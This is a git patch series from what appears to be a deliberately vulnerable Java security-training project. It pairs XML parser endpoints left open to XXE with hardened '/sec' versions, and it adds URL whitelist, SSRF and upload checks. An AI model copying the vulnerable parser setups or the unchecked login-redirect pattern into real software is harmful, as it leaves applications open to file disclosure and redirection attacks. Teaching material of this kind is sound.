 import org.springframework.expression.spel.standard.SpelExpressionParser;
 import org.springframework.web.bind.annotation.RequestMapping;
diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java
index 7347523e..1de059ce 100644
--- a/src/main/java/org/joychou/controller/XXE.java
+++ b/src/main/java/org/joychou/controller/XXE.java
@@ -1,6 +1,9 @@
 package org.joychou.controller;
 
+import org.dom4j.DocumentHelper;
 import org.dom4j.io.SAXReader;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 import org.springframework.web.bind.annotation.*;
 import javax.servlet.http.HttpServletRequest;
 
@@ -22,7 +25,7 @@
 import org.joychou.util.WebUtils;
 
 /**
- * Java xxe vul and safe code.
+ * Java xxe vuln and security code.
  *
  * @author JoyChou @2017-12-22
  */
@@ -31,26 +34,29 @@
 @RequestMapping("/xxe")
 public class XXE {
 
-    @RequestMapping(value = "/xmlReader", method = RequestMethod.POST)
-    public String xxe_xmlReader(HttpServletRequest request) {
+    private static Logger logger= LoggerFactory.getLogger(XXE.class);
+    private static String EXCEPT = "xxe except";
+
+    @RequestMapping(value = "/xmlReader/vuln", method = RequestMethod.POST)
+    public String xmlReaderVuln(HttpServletRequest request) {
         try {
-            String xml_con = WebUtils.getRequestBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
             XMLReader xmlReader = XMLReaderFactory.createXMLReader();
-            xmlReader.parse(new InputSource(new StringReader(xml_con)));  // parse xml
-            return "ok";
+            xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml
+            return "xmlReader xxe vuln code";
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
     }
 
 
-    @RequestMapping(value = "/xmlReader_fix", method = RequestMethod.POST)
-    public String xxe_xmlReader_fix(HttpServletRequest request) {
+    @RequestMapping(value = "/xmlReader/sec", method = RequestMethod.POST)
+    public String xmlReaderSec(HttpServletRequest request) {
         try {
-            String xml_con = WebUtils.getRequestBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             XMLReader xmlReader = XMLReaderFactory.createXMLReader();
             // fix code start
@@ -58,168 +64,173 @@ public String xxe_xmlReader_fix(HttpServletRequest request) {
             xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
             xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
             //fix code end
-            xmlReader.parse(new InputSource(new StringReader(xml_con)));  // parse xml
+            xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml
 
-            return "ok";
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
+
+        return "xmlReader xxe security code";
     }
 
 
-    @RequestMapping(value = "/SAXBuilder", method = RequestMethod.POST)
-    public String xxe_SAXBuilder(HttpServletRequest request) {
+    @RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST)
+    public String SAXBuilderVuln(HttpServletRequest request) {
         try {
-            String xml_con = WebUtils.getRequestBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             SAXBuilder builder = new SAXBuilder();
-            org.jdom2.Document document = builder.build(new InputSource(new StringReader(xml_con)));  // cause xxe
-            return "ok";
+            // org.jdom2.Document document
+            builder.build(new InputSource(new StringReader(body)));  // cause xxe
+            return "SAXBuilder xxe vuln code";
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
     }
 
-    @RequestMapping(value = "/SAXBuilder_fix", method = RequestMethod.POST)
-    public String xxe_SAXBuilder_fix(HttpServletRequest request) {
+    @RequestMapping(value = "/SAXBuilder/sec", method = RequestMethod.POST)
+    public String SAXBuilderSec(HttpServletRequest request) {
         try {
-            String xml_con = WebUtils.getRequestBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             SAXBuilder builder = new SAXBuilder();
             builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
             builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
             builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
-            org.jdom2.Document document = builder.build(new InputSource(new StringReader(xml_con)));
+            // org.jdom2.Document document
+            builder.build(new InputSource(new StringReader(body)));
 
-            return "ok";
         } catch (Exception e) {
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
+
+        return "SAXBuilder xxe security code";
     }
 
-    @RequestMapping(value = "/SAXReader", method = RequestMethod.POST)
-    public String xxe_SAXReader(HttpServletRequest request) {
+    @RequestMapping(value = "/SAXReader/vuln", method = RequestMethod.POST)
+    public String SAXReaderVuln(HttpServletRequest request) {
         try {
-            String xml_con = WebUtils.getRequestBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             SAXReader reader = new SAXReader();
-            org.dom4j.Document document = reader.read(new InputSource(new StringReader(xml_con))); // cause xxe
+            // org.dom4j.Document document
+            reader.read(new InputSource(new StringReader(body))); // cause xxe
 
-            return "ok";
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
+
+        return "SAXReader xxe vuln code";
     }
 
-    @RequestMapping(value = "/SAXReader_fix", method = RequestMethod.POST)
-    public String xxe_SAXReader_fix(HttpServletRequest request) {
+    @RequestMapping(value = "/SAXReader/sec", method = RequestMethod.POST)
+    public String SAXReaderSec(HttpServletRequest request) {
         try {
-            String xml_con = WebUtils.getRequestBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             SAXReader reader = new SAXReader();
             reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
             reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
             reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
-            org.dom4j.Document document = reader.read(new InputSource(new StringReader(xml_con)));
-
-            return "ok";
+            // org.dom4j.Document document
+            reader.read(new InputSource(new StringReader(body)));
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
+        return "SAXReader xxe security code";
     }
 
-    @RequestMapping(value = "/SAXParser", method = RequestMethod.POST)
-    public String xxe_SAXParser(HttpServletRequest request) {
+    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
+    public String SAXParserVuln(HttpServletRequest request) {
         try {
-            String xml_con = WebUtils.getRequestBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             SAXParserFactory spf = SAXParserFactory.newInstance();
             SAXParser parser = spf.newSAXParser();
-            parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler());  // parse xml
+            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
 
-            return "test";
+            return "SAXParser xxe vuln code";
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
     }
 
 
-    @RequestMapping(value = "/SAXParser_fix", method = RequestMethod.POST)
-    public String xxe_SAXParser_fix(HttpServletRequest request) {
+    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
+    public String SAXParserSec(HttpServletRequest request) {
         try {
-            String xml_con = WebUtils.getRequestBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             SAXParserFactory spf = SAXParserFactory.newInstance();
             spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
             spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
             spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
             SAXParser parser = spf.newSAXParser();
-            parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler());  // parse xml
-            return "test";
+            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
+        return "SAXParser xxe security code";
     }
 
 
-    @RequestMapping(value = "/Digester", method = RequestMethod.POST)
-    public String xxe_Digester(HttpServletRequest request) {
+    @RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST)
+    public String DigesterVuln(HttpServletRequest request) {
         try {
-            String xml_con = WebUtils.getRequestBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             Digester digester = new Digester();
-            digester.parse(new StringReader(xml_con));  // parse xml
-
-            return "test";
+            digester.parse(new StringReader(body));  // parse xml
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
+        return "Digester xxe vuln code";
     }
 
-    @RequestMapping(value = "/Digester_fix", method = RequestMethod.POST)
-    public String xxe_Digester_fix(HttpServletRequest request) {
+    @RequestMapping(value = "/Digester/sec", method = RequestMethod.POST)
+    public String DigesterSec(HttpServletRequest request) {
         try {
-            String xml_con = WebUtils.getRequestBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             Digester digester = new Digester();
             digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
             digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
             digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
-            digester.parse(new StringReader(xml_con));  // parse xml
+            digester.parse(new StringReader(body));  // parse xml
 
-            return "test";
+            return "Digester xxe security code";
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
     }
 
 
-    // 有回显的XXE
-    @RequestMapping(value = "/DocumentBuilder_return", method = RequestMethod.POST)
-    public String xxeDocumentBuilderReturn(HttpServletRequest request) {
+    // 有回显
+    @RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)
+    public String DocumentBuilderVuln01(HttpServletRequest request) {
         try {
-            String xml_con = WebUtils.getRequestBody(request);
-            System.out.println(xml_con);
-
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
             DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
             DocumentBuilder db = dbf.newDocumentBuilder();
-            StringReader sr = new StringReader(xml_con);
+            StringReader sr = new StringReader(body);
             InputSource is = new InputSource(sr);
             Document document = db.parse(is);  // parse xml
 
@@ -235,24 +246,24 @@ public String xxeDocumentBuilderReturn(HttpServletRequest request) {
                 }
             }
             sr.close();
-            System.out.println(buf.toString());
             return buf.toString();
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
     }
 
 
-    @RequestMapping(value = "/DocumentBuilder", method = RequestMethod.POST)
-    public String DocumentBuilder(HttpServletRequest request) {
+    // 有回显
+    @RequestMapping(value = "/DocumentBuilder/vuln02", method = RequestMethod.POST)
+    public String DocumentBuilderVuln02(HttpServletRequest request) {
         try {
-            String xml_con = WebUtils.getRequestBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
             DocumentBuilder db = dbf.newDocumentBuilder();
-            StringReader sr = new StringReader(xml_con);
+            StringReader sr = new StringReader(body);
             InputSource is = new InputSource(sr);
             Document document = db.parse(is);  // parse xml
 
@@ -266,55 +277,54 @@ public String DocumentBuilder(HttpServletRequest request) {
                     Node node = child.item(j);
                     // 正常解析XML，需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。
                     if (child.item(j).getNodeType() == Node.ELEMENT_NODE) {
-                        result.append(node.getNodeName() + ": " + node.getFirstChild().getNodeValue() + "\n");
+                        result.append(node.getNodeName() + ": " +
+                                node.getFirstChild().getNodeValue() + "\n");
                     }
                 }
             }
             sr.close();
-            System.out.println(result.toString());
             return result.toString();
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
     }
 
 
-    @RequestMapping(value = "/DocumentBuilder_fix", method = RequestMethod.POST)
-    public String xxe_DocumentBuilder_fix(HttpServletRequest request) {
+    @RequestMapping(value = "/DocumentBuilder/Sec", method = RequestMethod.POST)
+    public String DocumentBuilderSec(HttpServletRequest request) {
         try {
-            String xml_con = WebUtils.getRequestBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
             dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
             dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
             dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
             DocumentBuilder db = dbf.newDocumentBuilder();
-            StringReader sr = new StringReader(xml_con);
+            StringReader sr = new StringReader(body);
             InputSource is = new InputSource(sr);
-            Document document = db.parse(is);  // parse xml
+            db.parse(is);  // parse xml
             sr.close();
-
-            return "test";
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
+        return "DocumentBuilder xxe security code";
     }
 
 
-    @RequestMapping(value = "/DocumentBuilder_xinclude", method = RequestMethod.POST)
-    public String xxe_xinclude_DocumentBuilder(HttpServletRequest request) {
+    @RequestMapping(value = "/DocumentBuilder/xinclude/vuln", method = RequestMethod.POST)
+    public String DocumentBuilderXincludeVuln(HttpServletRequest request) {
         try {
-            String xml_con = WebUtils.getRequestBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
 
             DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
             dbf.setXIncludeAware(true);   // 支持XInclude
             dbf.setNamespaceAware(true);  // 支持XInclude
             DocumentBuilder db = dbf.newDocumentBuilder();
-            StringReader sr = new StringReader(xml_con);
+            StringReader sr = new StringReader(body);
             InputSource is = new InputSource(sr);
             Document document = db.parse(is);  // parse xml
 
@@ -326,25 +336,25 @@ public String xxe_xinclude_DocumentBuilder(HttpServletRequest request) {
                 for (int j = 0; j < xxe.getLength(); j++) {
                     Node xxeNode = xxe.item(j);
                     // 测试不能blind xxe，所以强行加了一个回显
-                    System.out.println("xxeNode: " + xxeNode.getNodeValue());
+                    logger.info("xxeNode: " + xxeNode.getNodeValue());
                 }
 
             }
 
             sr.close();
-            return "test";
+            return "DocumentBuilder xinclude xxe vuln code";
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
     }
 
 
-    @RequestMapping(value = "/DocumentBuilder_xinclude_fix", method = RequestMethod.POST)
-    public String xxe_xinclude_DocumentBuilder_fix(HttpServletRequest request) {
+    @RequestMapping(value = "/DocumentBuilder/xinclude/sec", method = RequestMethod.POST)
+    public String DocumentBuilderXincludeSec(HttpServletRequest request) {
         try {
-            String xml_con = WebUtils.getRequestBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
             DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
 
             dbf.setXIncludeAware(true);   // 支持XInclude
@@ -353,7 +363,7 @@ public String xxe_xinclude_DocumentBuilder_fix(HttpServletRequest request) {
             dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
             dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
             DocumentBuilder db = dbf.newDocumentBuilder();
-            StringReader sr = new StringReader(xml_con);
+            StringReader sr = new StringReader(body);
             InputSource is = new InputSource(sr);
             Document document = db.parse(is);  // parse xml
 
@@ -365,59 +375,80 @@ public String xxe_xinclude_DocumentBuilder_fix(HttpServletRequest request) {
                 for (int j = 0; j < xxe.getLength(); j++) {
                     Node xxeNode = xxe.item(j);
                     // 测试不能blind xxe，所以强行加了一个回显
-                    System.out.println("xxeNode: " + xxeNode.getNodeValue());
+                    logger.info("xxeNode: " + xxeNode.getNodeValue());
                 }
 
             }
 
             sr.close();
-            return "test";
         } catch (Exception e) {
-            System.out.println(e);
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
+        return "DocumentBuilder xinclude xxe vuln code";
     }
 
 
-    @PostMapping("/XMLReader/vul")
-    public String XMLReaderVul(HttpServletRequest request) {
+    @PostMapping("/XMLReader/vuln")
+    public String XMLReaderVuln(HttpServletRequest request) {
         try {
-            String xml_con = WebUtils.getRequestBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
+
             SAXParserFactory spf = SAXParserFactory.newInstance();
             SAXParser saxParser = spf.newSAXParser();
             XMLReader xmlReader = saxParser.getXMLReader();
-            xmlReader.parse(new InputSource(new StringReader(xml_con)));
-            return "test";
+            xmlReader.parse(new InputSource(new StringReader(body)));
+
         } catch (Exception e) {
-            System.out.println(e.toString());
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
+
+        return "XMLReader xxe vuln code";
     }
 
 
-    @PostMapping("/XMLReader/fixed")
+    @PostMapping("/XMLReader/sec")
     public String XMLReaderSec(HttpServletRequest request) {
         try {
-            String xml_con = WebUtils.getRequestBody(request);
-            System.out.println(xml_con);
+            String body = WebUtils.getRequestBody(request);
+            logger.info(body);
+
             SAXParserFactory spf = SAXParserFactory.newInstance();
             SAXParser saxParser = spf.newSAXParser();
             XMLReader xmlReader = saxParser.getXMLReader();
             xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
             xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
             xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
-            xmlReader.parse(new InputSource(new StringReader(xml_con)));
-            return "test";
+            xmlReader.parse(new InputSource(new StringReader(body)));
+
         } catch (Exception e) {
-            System.out.println(e.toString());
-            return "except";
+            logger.error(e.toString());
+            return EXCEPT;
         }
+        return "XMLReader xxe security code";
     }
 
 
-    public static void main(String[] args) throws Exception {
+    /**
+     * 修复该漏洞只需升级dom4j到2.1.1及以上，该版本及以上禁用了ENTITY；
+     * 不带ENTITY的PoC不能利用，所以禁用ENTITY即可完成修复。
+     */
+    @PostMapping("/DocumentHelper/vuln")
+    public String DocumentHelper(HttpServletRequest req) {
+        try{
+            String body = WebUtils.getRequestBody(req);
+            DocumentHelper.parseText(body); // parse xml
+        } catch (Exception e) {
+            logger.error(e.toString());
+            return EXCEPT;
+        }
 
+        return "DocumentHelper xxe vuln code";
+    }
+
+    public static void main(String[] args) throws Exception {
     }
 
 }
\ No newline at end of file
diff --git a/src/main/java/org/joychou/filter/JsonpFilter.java b/src/main/java/org/joychou/filter/JsonpFilter.java
index 25a72898..5027caac 100644
--- a/src/main/java/org/joychou/filter/JsonpFilter.java
+++ b/src/main/java/org/joychou/filter/JsonpFilter.java
@@ -49,9 +49,9 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
             return ;
         }
 
-        // 校验jsonp逻辑，如果不安全，返回403页面
-        if (SecurityUtil.checkURLbyEndsWith(refer, jsonpReferWhitelist) == null ){
-            logger.info("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer);
+        // 校验jsonp逻辑，如果不安全，返回forbidden
+        if (SecurityUtil.checkUrlByGuava(refer, jsonpReferWhitelist) == null ){
+            logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer);
             response.setStatus(HttpServletResponse.SC_FORBIDDEN);
             response.getWriter().write("forbidden");
             response.flushBuffer();
diff --git a/src/main/java/org/joychou/security/LoginSuccessHandler.java b/src/main/java/org/joychou/security/LoginSuccessHandler.java
index 75765b02..d588818b 100644
--- a/src/main/java/org/joychou/security/LoginSuccessHandler.java
+++ b/src/main/java/org/joychou/security/LoginSuccessHandler.java
@@ -6,7 +6,6 @@
 import org.springframework.http.MediaType;
 import org.springframework.security.core.Authentication;
 import org.springframework.security.web.authentication.AuthenticationSuccessHandler;
-import org.springframework.security.web.savedrequest.DefaultSavedRequest;
 import org.springframework.security.web.savedrequest.HttpSessionRequestCache;
 import org.springframework.security.web.savedrequest.SavedRequest;
 
@@ -14,7 +13,6 @@
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
-import java.net.URI;
 import java.util.HashMap;
 import java.util.Map;
 
@@ -31,15 +29,22 @@ public void onAuthenticationSuccess(HttpServletRequest request,
         logger.info("USER " + authentication.getName()+ " LOGIN SUCCESS.");
 
         SavedRequest savedRequest = new HttpSessionRequestCache().getRequest(request, response);
+        String originUrl = "";
+        try {
+            originUrl = savedRequest.getRedirectUrl();
+        } catch (Exception e) {
+            logger.debug(e.toString());
+        }
+
         if (savedRequest != null) {
-            logger.info("Original url is: " + savedRequest.getRedirectUrl());
+            logger.info("Original url is: " + originUrl);
         }
 
         Map<String, String> content = new HashMap<>();
         content.put("code", "0");
         content.put("message", "Login success");
-
-        // google ajax and sendRedirect
+        content.put("redirectUrl", originUrl);
+        // 直接进行sendRedirect到登录前的url，会重定向失败。具体原因可google ajax and sendRedirect
         response.setContentType(MediaType.APPLICATION_JSON_VALUE);
         response.getWriter().write(JSON.toJSONString(content));
     }
diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/SSRFChecker.java
index 6ecba2f2..08d9053a 100644
--- a/src/main/java/org/joychou/security/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/SSRFChecker.java
@@ -5,11 +5,13 @@
 import java.net.URI;
 import java.net.URL;
 import org.apache.commons.net.util.SubnetUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 
 public class SSRFChecker {
 
     private static int connectTime = 5*1000;  // 设置连接超时时间5s
-
+    private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class);
     /**
      * 解析url的ip，判断ip是否是内网ip，所以TTL设置为0的情况不适用。
      * url只允许https或者http，并且设置默认连接超时时间。
@@ -27,6 +29,7 @@ public static Boolean checkSSRF(String url) {
                 // 判断当前请求的URL是否是内网ip
                 Boolean bRet = isInnerIPByUrl(finalUrl);
                 if (bRet) {
+                    logger.error("[-] SSRF check failed. Dangerous url: " + finalUrl);
                     return false;  // 内网ip直接return，非内网ip继续判断是否有重定向
                 }
 
@@ -87,6 +90,7 @@ private static boolean isInnerIp(String strIP){
         for (String subnet: blackSubnetlist) {
             SubnetUtils utils = new SubnetUtils(subnet);
             if (utils.getInfo().isInRange(strIP)) {
+                logger.error("[-] SSRF check failed. Inner Ip: " + strIP);
                 return true;
             }
         }
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index 48573454..809ac544 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -1,5 +1,6 @@
 package org.joychou.security;
 
+import com.google.common.net.InternetDomainName;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 
@@ -11,8 +12,9 @@
 public class SecurityUtil {
 
     private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$") ;
+    private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
+
 
-    protected static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
     /**
      * 通过endsWith判断URL是否合法
      *
@@ -40,6 +42,44 @@ public static String checkURLbyEndsWith(String url, String[] urlwhitelist) {
 
             return null;
         } catch (Exception e) {
+            logger.error(e.toString());
+            return null;
+        }
+    }
+
+    /**
+     * 通过google guava判断URL是否合法。默认认为localhost合法
+     *
+     * @param url 需要check的url
+     * @param urlwhitelist 根域名白名单
+     * @return 安全url返回url，危险url返回null
+     */
+    public static String checkUrlByGuava(String url, String[] urlwhitelist){
+        final String localhost = "localhost";
+
+        if (null == url) {
+            return null;
+        }
+
+        try {
+            URI u = new URI(url);
+            if (!url.startsWith("http://") && !url.startsWith("https://")) {
+                return null;
+            }
+            String host = u.getHost().toLowerCase();
+            if (localhost.equals(host)) {
+                return url;
+            }
+            String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
+
+            for (String whiteurl: urlwhitelist){
+                if (rootDomain.equals(whiteurl)) {
+                    return url;
+                }
+            }
+            return null;
+        } catch (Exception e) {
+            logger.error(e.toString());
             return null;
         }
     }
@@ -118,4 +158,5 @@ public static String cmdFilter(String input) {
 
         return input;
     }
+
 }
\ No newline at end of file
diff --git a/src/main/resources/templates/login.html b/src/main/resources/templates/login.html
index 1b069872..dc6ee40f 100644
--- a/src/main/resources/templates/login.html
+++ b/src/main/resources/templates/login.html
@@ -53,7 +53,11 @@
             success: function (r) {
                 if (r.code == "0") {
                     // alert(r.message);
-                    location.href = ctx + "index";
+                    if (r.redirectUrl == '') {
+                        location.href = ctx + "index";
+                    } else {
+                        location.href = r.redirectUrl;
+                    }
                 } else {
                     alert(r.message);
                 }

From 0d9938584adbf0efd49273b1afc773f66cf73747 Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Wed, 25 Mar 2020 11:43:53 +0800
Subject: [PATCH 09/38] update mybatis sql injection

---
 pom.xml                                       |  2 +-
 .../org/joychou/controller/FileUpload.java    | 71 +++++++-------
 .../java/org/joychou/controller/SQLI.java     | 92 +++++++++----------
 .../java/org/joychou/controller/SSRF.java     |  5 +-
 .../org/joychou/controller/URLWhiteList.java  |  1 +
 src/main/java/org/joychou/dao/User.java       |  2 -
 .../java/org/joychou/mapper/UserMapper.java   |  5 +-
 .../DisableSpringSecurityFirewall.java        | 27 ++++++
 .../org/joychou/security/SecurityUtil.java    | 46 ++++++++++
 src/main/resources/application.properties     |  2 +
 src/main/resources/mapper/UserMapper.xml      |  9 +-
 src/main/resources/templates/index.html       |  2 +-
 .../resources/templates/uploadStatus.html     | 10 --
 13 files changed, 173 insertions(+), 101 deletions(-)
 create mode 100644 src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java
 delete mode 100755 src/main/resources/templates/uploadStatus.html

diff --git a/pom.xml b/pom.xml
index 14dc18dc..11de6121 100644
--- a/pom.xml
+++ b/pom.xml
@@ -7,7 +7,7 @@
     <groupId>sec</groupId>
     <artifactId>java-sec-code</artifactId>
     <version>1.0.0</version>
-    <packaging>jar</packaging>
+    <packaging>war</packaging>
 
     <properties>
         <maven.compiler.source>1.8</maven.compiler.source> <!-- mvn clean package-->
diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java
index 77388816..d7297539 100644
--- a/src/main/java/org/joychou/controller/FileUpload.java
+++ b/src/main/java/org/joychou/controller/FileUpload.java
@@ -4,10 +4,7 @@
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.GetMapping;
-import org.springframework.web.bind.annotation.PostMapping;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.*;
 import org.springframework.web.multipart.MultipartFile;
 import org.springframework.web.servlet.mvc.support.RedirectAttributes;
 
@@ -21,6 +18,8 @@
 import java.nio.file.Paths;
 import java.util.UUID;
 
+import org.joychou.security.SecurityUtil;
+
 
 /**
  * @author  JoyChou (joychou@joychou.org)
@@ -35,6 +34,7 @@ public class FileUpload {
     // Save the uploaded file to this folder
     private static String UPLOADED_FOLDER = "/tmp/";
     private final Logger logger= LoggerFactory.getLogger(this.getClass());
+    private final String mimeChars = "/abcdefghijklmnopqrstuvwxyz-.0123456789";
 
     @GetMapping("/")
     public String index() {
@@ -73,14 +73,13 @@ public String singleFileUpload(@RequestParam("file") MultipartFile file,
         return "redirect:/file/status";
     }
 
+
     // only upload picture
     @PostMapping("/upload/picture")
-    public String uploadPicture(@RequestParam("file") MultipartFile multifile,
-                                   RedirectAttributes redirectAttributes) throws Exception{
+    @ResponseBody
+    public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception{
         if (multifile.isEmpty()) {
-            // 赋值给uploadStatus.html里的动态参数message
-            redirectAttributes.addFlashAttribute("message", "Please select a file to upload");
-            return "redirect:/file/status";
+            return "Please select a file to upload";
         }
 
         String fileName = multifile.getOriginalFilename();
@@ -88,40 +87,48 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile,
         String mimeType = multifile.getContentType(); // 获取MIME类型
         File excelFile = convert(multifile);
 
-        // 判断文件后缀名是否在白名单内
-        String picSuffixList[] = {".jpg", ".png", ".jpeg", ".gif", ".bmp"};  // 后缀名白名单
-        Boolean suffixFlag = false;
+
+        // 判断文件后缀名是否在白名单内  校验1
+        String picSuffixList[] = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
+        boolean suffixFlag = false;
         for (String white_suffix : picSuffixList) {
             if (Suffix.toLowerCase().equals(white_suffix)) {
                 suffixFlag = true;
                 break;
             }
         }
-
         if (!suffixFlag) {
             logger.error("[-] Suffix error: " + Suffix);
+            deleteFile(excelFile);
+            return "Upload failed. Illeagl picture.";
         }
 
-        String mimeTypeBlackList[] = {"text/html"}; // 不允许传html
 
-        Boolean mimeBlackFlag = false;
+        // 判断MIME类型是否在黑名单内 校验2
+        String mimeTypeBlackList[] = {
+                "text/html",
+                "text/javascript",
+                "application/javascript",
+                "application/ecmascript",
+                "text/xml",
+                "application/xml"
+        };
         for (String blackMimeType : mimeTypeBlackList) {
-            if (mimeType.equalsIgnoreCase(blackMimeType) ) {
-                mimeBlackFlag = true;
+            // 用contains是为了防止text/html;charset=UTF-8绕过
+            if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType) ) {
                 logger.error("[-] Mime type error: " + mimeType);
-                break;
+                deleteFile(excelFile);
+                return "Upload failed. Illeagl picture.";
             }
         }
 
+        // 判断文件内容是否是图片 校验3
         boolean isImageFlag = isImage(excelFile);
 
-        if( !isImageFlag ){
